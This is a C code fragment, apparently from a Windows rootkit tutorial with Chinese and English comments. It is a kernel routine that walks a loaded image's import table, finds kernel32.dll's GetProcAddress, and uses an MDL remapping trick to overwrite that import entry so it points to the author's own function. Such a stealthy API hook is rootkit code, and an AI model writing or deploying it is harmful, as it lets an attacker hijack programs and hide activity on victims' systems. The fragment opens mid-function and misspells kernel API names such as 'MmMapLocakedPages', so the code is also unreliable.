PIMAGE_DOS_HEADER dosHeader; PIMAGE_NT_HEADERS pNTHeader; PIMAGE_IMPORT_DESCRIPTOR importDesc; PIMAGE_IMPORT_BY_NAME p_ibn; DWORD importsStartRVA; PWORD pd_IAT, pd_INTO; int count, index; char *dll_name = NULL; char *pc_dlltar = "kernel32.dll"; char *pc_fnctar = "GetProcAddress"; PMDL p_mdl; PDWORD MappedImTable; // 匯入的是IMAGE_INFO結構中的 PVOID ImageBase變數 dosHeader = (PIMAGE_DOS_HEADER) image_addr; // 宏,對指標的操作 pNTHeader = MakePtr ( PIMAGE_NT_HEADERS, dosHeader, dosHeader->e_lfanew ); // 通過PE檔案的Signature欄位來判斷該檔案是否是標準的PE檔案 if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE) return STATUS_INVALID_IMAGE_FORMAT; // 匯入段的RVA importsStartRVA = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; if ( !importsStartRVA ) return STATUS_INVALID_IMAGE_FORMAT; // 匯入段的RVA與模組在記憶體中的起始地址(dosHeader)相加,得到 // 指向第一個IMAGE_IMPORT_DESCRIPTOR的指標 importDesc = ( PIMAGE_IMPORT_DESCRIPTOR ) (importsStartRVA + (DWORD)dosHeader); // 過濾每個IMAGE_IMPORT_DESCRIPTOR for(count = 0; importDesc[count].Characteristics != 0; count++) { // 得到匯入模組的dll的名稱 dll_name = (char*)(importDesc[count].Name + (DWORD)dosHeader); // 得到IAT pd_IAT = (PDWORD)(((DWORD)dosHeader) + (DWORD)importDesc[count].FirstThunk); // 得到指向IMAGE_IMPORT_BY_NAME結構的指標數組 pd_INTO = (PDWORD)(((DWORD)dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk); // IAT中的過濾,找到特定的dll與要hook的函數 for ( index = 0; pd_IAT[index] != 0; index++) { // if this is an import by ordinal // the high bit is set if((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG) { // 得到函數名結構 p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index] + ((DWORD)dosHeader)); // 對比dll名與函數名,找到所需要的 if((_stricmp(dll_name, pc_dlltar) == 0) && (strcmp(p_ibn->Name, pc_fnctar) ==0)) { // Use the trick you already learned to map a different // virtual address to the same physical page so no permission problems // // Map the memory into our domain so we can change the // permissions on the MDL // 改變記憶體屬性,以便修改IAT屬性 // MDL方法修改記憶體屬性,以後的文章中會詳細介紹 p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4); if(!p_mdl) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(p_mdl); // Change the flags of MDL p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedImTable = MmMapLocakedPages(p_mdl, KernelMode); // Address of the "new function" // 將“GetProcAddress”指向自己定義的函數 *MappedImTable = d_shareM; // Free MDL MmUnmapLoackedPages(MappedImTable, p_mdl); IoFreeMdl(p_mdl); } } } return STATUS_SUCCESS; } |